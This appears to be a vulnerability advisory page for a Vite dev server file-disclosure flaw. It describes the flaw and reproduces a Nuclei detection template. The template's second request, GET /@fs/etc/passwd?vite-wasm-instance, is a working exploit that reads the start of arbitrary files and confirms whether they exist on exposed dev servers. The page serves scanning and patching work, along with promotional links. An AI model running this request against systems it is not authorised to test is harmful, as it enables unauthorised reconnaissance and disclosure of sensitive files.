CVE-2026-112947: Vite Dev Server - server.fs Bypass via vite-wasm-instance

2026-11-29 PoC Public

Description

Vite 8.2.0 through 8.2.3 and 8.3.0 through 8.3.2 contain a file disclosure vulnerability in the dev server. Requests carrying the ?vite-wasm-instance query are loaded by the internal vite:wasm-helper plugin, which strips the query and reads the file from disk without applying the server.fs allow and deny checks. The file is then compiled as WebAssembly, and the resulting error returned to the client includes the first 4 bytes of the file. Only dev servers exposed to the network with --host or server.host and running on Node.js or Deno are affected.

Details

CVE
CVE-2026-112947 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-112947

info:
  name: Vite Dev Server - server.fs Bypass via vite-wasm-instance
  author: s4e-io
  severity: medium
  description: |
    Vite 8.2.0 through 8.2.3 and 8.3.0 through 8.3.2 contain a file disclosure vulnerability in the dev server. Requests carrying the ?vite-wasm-instance query are loaded by the internal vite:wasm-helper plugin, which strips the query and reads the file from disk without applying the server.fs allow and deny checks. The file is then compiled as WebAssembly, and the resulting error returned to the client includes the first 4 bytes of the file. Only dev servers exposed to the network with --host or server.host and running on Node.js or Deno are affected.
  impact: |
    Unauthenticated attackers can read the first 4 bytes of arbitrary files outside the Vite serving allow list, including files such as .env that are blocked by server.fs.deny, and confirm the existence of files on the host.
  remediation: |
    Upgrade Vite to version 8.2.4, 8.3.3 or later, and do not expose the dev server to untrusted networks.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-vfpm-58rq-9qcg
    - https://github.com/vitejs/vite/pull/23655
    - https://github.com/vitejs/vite/commit/b6c6d2fb3f853aab4092dc25f0d6816a96c23dff
    - https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73
    - https://nvd.nist.gov/vuln/detail/CVE-2026-112947
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.3
    cve-id: CVE-2026-112947
    epss-score: 0.01315
    epss-percentile: 0.70902
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: vitejs
    product: vite
    shodan-query: http.html:"/@vite/client"
    fofa-query: body="/@vite/client"
  tags: cve,cve2026,vite,lfi,disclosure,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/@vite/client"
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /@fs/etc/passwd?vite-wasm-instance HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "Failed to parse WASM file", "/etc/passwd", "expected magic word 00 61 73 6d, found ")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'found ([0-9a-f]{2} [0-9a-f]{2} [0-9a-f]{2} [0-9a-f]{2})'
# digest: 490a00463044022012208628158c238bd776c881af3e19416efe34899544e5ca5e9c7ae2b3f1f4aa022006ff9cd2e267f78565c4ea82ec4c25c55cadb5cf5ccc3d769b3acc77626a6c47:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life